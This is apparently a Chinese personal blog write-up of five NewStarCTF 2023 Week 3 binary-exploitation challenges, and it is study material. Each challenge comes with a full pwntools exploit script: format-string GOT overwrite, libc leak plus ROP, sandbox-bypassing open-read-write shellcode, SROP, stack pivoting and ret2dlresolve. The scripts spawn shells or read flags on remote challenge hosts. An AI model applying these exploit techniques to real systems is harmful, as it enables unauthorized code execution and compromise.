LOADING

加载过慢请开启缓存 浏览器默认开启

NewStarCTF 2023 [WEEK 3] PWN

2023/10/28 CTF PWN NewStarCTF

NewStarCTF 2023 [WEEK 3] PWN

简介:

这周时间不是很充裕,没有来得及做,题目真的逐渐变难,很多不是很了解的知识点逐渐暴露,这些知识点理解起来也挺难的,慢慢来,别急,加油!!!


puts or system?

查看一下保护机制,打开了 canary 和 NX,还有一个点就是 RELRO(注意一下,因为这题需要修改 got 表),开启了部分说明 got,plt 可读可写,不懂的可以看(PWN PWN PWN !!! 技巧 (1)

ida 反汇编一下,看看伪代码,发现发生了溢出和格式字符串漏洞,还有一个重要的点就是 puts("/bin/sh"),我们肯定得想办法变成 system("/bin/sh"),这样的话就可以获得 shell,所以我们就可以用到 pwntools 里面的工具 fmtstr_payload 来把 puts 的 got 地址修改成 system 的地址,那我们就先通过 %s 的方法来泄露 libc 从而来获得 system 的地址,这样就可以获得 shell 了(这种泄露 libc 的方法可以记一下)

exp 如下:

from pwn import *
context(arch='amd64', os='linux', log_level='debug')

# p = process('./111')
p = remote('node4.buuoj.cn',26095)
elf = ELF('./111')
libc = ELF('./libc.so.6')

got_addr = elf.got['puts']

p.sendlineafter(b'(0/1)\n', b'1')

payload = b'%9$sAAAA' + p64(got_addr) # 对齐
p.send(payload)
p.recvuntil(b'There is my gift:\n')

puts_addr = u64(p.recvuntil(b'\x7f')[:6].ljust(8, b'\x00'))

libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))

p.sendlineafter(b'(0/1)\n', b'1')

payload = fmtstr_payload(8, {got_addr: sys_addr})

p.sendlineafter(b'What\'s it\n', payload)
p.interactive()

orw & rop

查看一下保护机制,跟上题一样的保护机制,根据题目就知道是开启了沙盒,不能使用 execve 调用,需要自己构造 orw 去获得 flag

ida 一下,发现有个沙盒,并且开辟了一块可读可写的区域 0x66660000,还发生格式字符串漏洞和栈溢出,可通过格式字符串漏洞,把 canary 和 libc 泄露出来,然后就是套 canary 的模板(可见 PWN PWN PWN !!! 技巧 (1)

运行程序,发现偏移为 6,并且 canary 为第 11 个参数,可通过 puts 函数来泄露 libc,然后就是通过寄存器把参数传进去,最后就可以直接构造 orw

exp 如下:

python复制编辑from pwn import *
context(os="linux", arch="amd64", log_level="debug")

# p = process('./ezorw')
p = remote('node4.buuoj.cn',28531)
elf = ELF('./111')
libc = ELF('./libc.so.6')

got_addr = elf.got['puts']

payload = b'%11$p%8$saaaaaaa' + p64(got_addr) # 对齐
p.sendafter("sandbox\n", payload)

canary = int(p.recv(18),16) # canary = int(p.recv()[2:18],16)
puts_addr = u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))

libc_base = puts_addr - libc.sym['puts']
ret = libc_base + 0x2a264
pop_rdi = libc_base + 0x2a3e5
pop_rsi = libc_base + 0x2be51
pop_rdx = libc_base + 0x90529
pop_rax = libc_base + 0x45eb0
read = libc_base + libc.sym['read'] # elf.plt['read']

payload = b'A'*0x28 + p64(canary) + p64(0) + p64(ret) \
+ p64(pop_rdi) + p64(0) \
+ p64(pop_rsi) + p64(0x66660000) \
+ p64(pop_rdx) + p64(0x100) + p64(0) + p64(read) \
+ p64(0x66660000) # 套路,你应该懂吧

p.send(payload)

orw_shellcode = shellcraft.open('./flag')
orw_shellcode += shellcraft.read(3,0x66660200,0x100)
orw_shellcode += shellcraft.write(1,0x66660200,0x100)

p.send(asm(orw_shellcode))
p.interactive()

srop

老规矩查看一下保护机制,只打开了 NX,并且是 full RELRO(got.plt 均不可读可写),不懂可看 PWN PWN PWN !!! 技巧 (1),srop 的方法可以套模板,利用系统调用号(可以看看这里 PWN PWN PWN !!! 技巧 (3)

ida 一下,发现发生了栈溢出,但溢出长度不够构造 rop,因此需要栈迁移。这类题目格式模板化,就是考察你 srop 的用法,套模板,注意一些参数就行,后续我会更新该题型模板,敬请期待!

exp 如下:

from pwn import*
context(os="linux", arch="amd64", log_level="debug")

# p = process('./111')
p = remote('node4.buuoj.cn',29475)
elf = ELF('./111')

syscall = elf.plt['syscall']
rdi = 0x401203
lea = 0x401171 # lea rax, [rbp+var_30]
bss = 0x404050 + 0x500

p.recvuntil('welcome to srop!\n')

frame = SigreturnFrame()
frame.rdi = 59
frame.rsi = bss - 0x30
frame.rdx = 0
frame.rcx = 0
frame.rsp = bss + 0x38
frame.rip = syscall

payload = b'a'*0x30 + flat(bss, lea)
p.send(payload)

payload = b'/bin/sh\x00' + b'a'*0x30 + flat(rdi,15,syscall,frame)
p.send(payload)
p.interactive()

stack migration revenge

查看一下保护机制,打开了 NX

ida 反汇编,你会发现相较上一周的栈迁移题,这次需要自己构造迁移地点,难度上升一个档次,理解较难。我理解是在 read 地址写入 rop,再栈迁移到 bss 段,剩下套路。注意接收,这真的很坑,掉几次!☻☻☻

exp 如下:

from pwn import *
context(os="linux", arch="amd64", log_level="debug")

# p = process('./111')
p = remote('node4.buuoj.cn',26731)
elf = ELF('./111')
libc = ELF('./libc.so.6')

got_addr = elf.got["puts"]
plt_addr = elf.plt["puts"]
bss = elf.bss(0x700) # 0x404100
rdi_addr = 0x4012b3
rbp_addr = 0x40115d
leave_ret = 0x401227
ret_addr = 0x40101a
read = 0x4011FF

p.recvuntil(b'just chat with me:\n')
payload = b'a'*0x50 + p64(bss +0x50) + p64(read)
p.send(payload)
p.recvuntil(b'so funny\n')

payload = p64(rdi_addr) + p64(got_addr) + p64(plt_addr)
payload += p64(rbp_addr) + p64(bss +0x800) + p64(read)
payload = payload.ljust(0x50, b'\x00') + p64(bss -0x8) + p64(leave_ret)
p.send(payload)
p.recvuntil(b'so funny\n')

puts_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base = puts_addr - libc.sym['puts']
sys_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b"/bin/sh\x00"))

payload = p64(rdi_addr) + p64(bin_sh) + p64(sys_addr)
payload = payload.ljust(0x50, b'\x00') + p64(bss +0x800 -0x58) + p64(leave_ret)
p.send(payload)
p.interactive()

dlresolve

这题是 ret2dlresolve 的解法,在比赛中较少碰到,我第一次接触,原理还在理解中,先挂官方 WP:

from pwn import *
from LibcSearcher import *
context(os="linux", arch="amd64", log_level="debug")

# p = process('./111')
p = remote('node4.buuoj.cn',27108)
elf = ELF('./111')
libc = ELF('./libc-2.31.so')

read_plt = elf.plt['read']
read_got = elf.got['read']
vuln_addr = 0x401170
plt0 = 0x401020 # plt 段地址
bss = 0x404040
bss_stage = bss + 0x100
l_addr = libc.sym['system'] - libc.sym['read']

pop_rdi = 0x000000000040115e # pop rdi ; ret
pop_rsi = 0x000000000040116b # pop rsi ; ret # 用于解析符号 dl_runtime_resolve
plt_load = p64(plt0 + 6)

def fake_Linkmap_payload(fake_linkmap_addr, known_func_ptr, offset):
linkmap = p64(offset & (2 ** 64 - 1)) # l_addr
linkmap += p64(0)
linkmap += p64(fake_linkmap_addr + 0x18)
linkmap += p64((fake_linkmap_addr + 0x30 - offset) & (2 ** 64 - 1))
linkmap += p64(0x7)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(0)
linkmap += p64(known_func_ptr - 0x8)
linkmap += b'/bin/sh\x00'
linkmap = linkmap.ljust(0x68, b'A')
linkmap += p64(fake_linkmap_addr)
linkmap += p64(fake_linkmap_addr + 0x38)
linkmap = linkmap.ljust(0xf8, b'A')
linkmap += p64(fake_linkmap_addr + 0x8)
return linkmap

fake_link_map = fake_Linkmap_payload(bss_stage, read_got, l_addr)

payload = flat(
b'a'*120,
pop_rdi, 0,
pop_rsi, bss_stage,
read_plt,
pop_rsi, 0,
pop_rdi, bss_stage + 0x48,
plt_load, bss_stage, 0
)

p.sendline(payload)
p.send(fake_link_map)
p.interactive()

总结:

这次题目确实上了一个档次,有些东西确实也不太好理解,慢慢来,积少成多,相同题型放一起总结,总会得出好的结论,就一句话:多做多总结,冲冲冲!!!

⬅ 上一篇
PWN PWN PWN !!! 技巧 (4)
2023-10-29  |  | PWN
下一篇 ➡
PWN PWN PWN !!! 技巧 (3)
2023-10-27  |  | PWN
0%
Rope Head